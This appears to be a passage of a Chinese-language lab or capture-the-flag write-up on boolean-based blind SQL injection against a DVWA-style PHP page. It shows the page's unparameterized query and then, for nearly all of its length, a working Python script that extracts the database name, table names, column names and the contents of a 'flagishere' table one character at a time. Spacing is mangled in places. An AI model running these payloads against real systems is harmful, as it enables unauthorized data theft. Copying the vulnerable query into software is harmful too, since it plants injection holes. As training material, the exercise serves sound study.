// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; }
# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度) for j inrange(1,50): databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#' # 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的 if'User ID exists in the database.'in s.get(url+databaseLen_payload, headers=headers).text: databaseLen = j break print('database_lenth: '+str(databaseLen))
# 2.爆库名 databse_name = '' for j inrange(1,databaseLen+1): for i in payloads: databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'
if'User ID exists in the database.'in s.get(url+databse_payload, headers=headers).text: databse_name += i print('database_name: '+databse_name) # 3.爆破表的个数 for j inrange(1,50): tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+tableNum_payload, headers=headers).text: tableNum = j break print('tableNum: '+str(tableNum))
# 4.爆出所有的表名 # (1)爆出各个表名的长度 for j inrange(0,tableNum): table_name = '' for i inrange(1,50): tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#' # 用法substr('This is a test', 6) 返回'is a test' if'User ID exists in the database.'in s.get(url+tableLen_payload, headers=headers).text: tableLen = i print('table'+str(j+1)+'_length: '+str(tableLen)) # (2)内部循环爆破每个表的表名 for m inrange(1,tableLen+1): for n in payloads: # i在上个循环用过了 table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+table_payload, headers=headers).text: table_name += n print('table'+str(j+1)+'_name: '+table_name)
# 1.判断flgishere表中字段数目 columnNum = 0 for j inrange(50): columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'flagishere\')='+str(j)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+columnNum_payload, headers=headers).text: columnNum = j break print('columnNum: '+str(columnNum))
# 2.爆出每个字段名的长度 for j inrange(0,columnNum): column_name = '' for i inrange(1,50): columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+columnLen_payload, headers=headers).text: columnLen = i print('column'+str(j+1)+'_length: '+str(columnLen)) # (2)内部循环爆破每个表的表名 for m inrange(1,columnLen+1): for n in payloads: # i在上个循环用过了 column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+column_payload, headers=headers).text: column_name += n print('column'+str(j+1)+'_name: '+column_name)
# 判断flag字段中记录(行)数量 rowNum = 0 for j inrange(50): rowNum_payload = '?id=1\' and (select count(*) from flagishere)='+str(j)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+rowNum_payload, headers=headers).text: rowNum = j print("row_number: "+str(rowNum))
# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度 for j inrange(0,rowNum+1):
rowContent = '' for i inrange(50): #rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#' rowLen_payload = '?id=1\' and length(substr((select flag from flagishere limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+rowLen_payload, headers=headers).text: rowLen = i print('row'+str(j+1)+'_length: '+str(rowLen)) #爆出个字段内容 for m inrange(1,rowLen+1): for n in payloads: rowContent_payload = '?id=1\' and substr((select flag from flagishere limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+rowContent_payload, headers=headers).text: rowContent += n print('row'+str(j+1)+'_content: '+rowContent)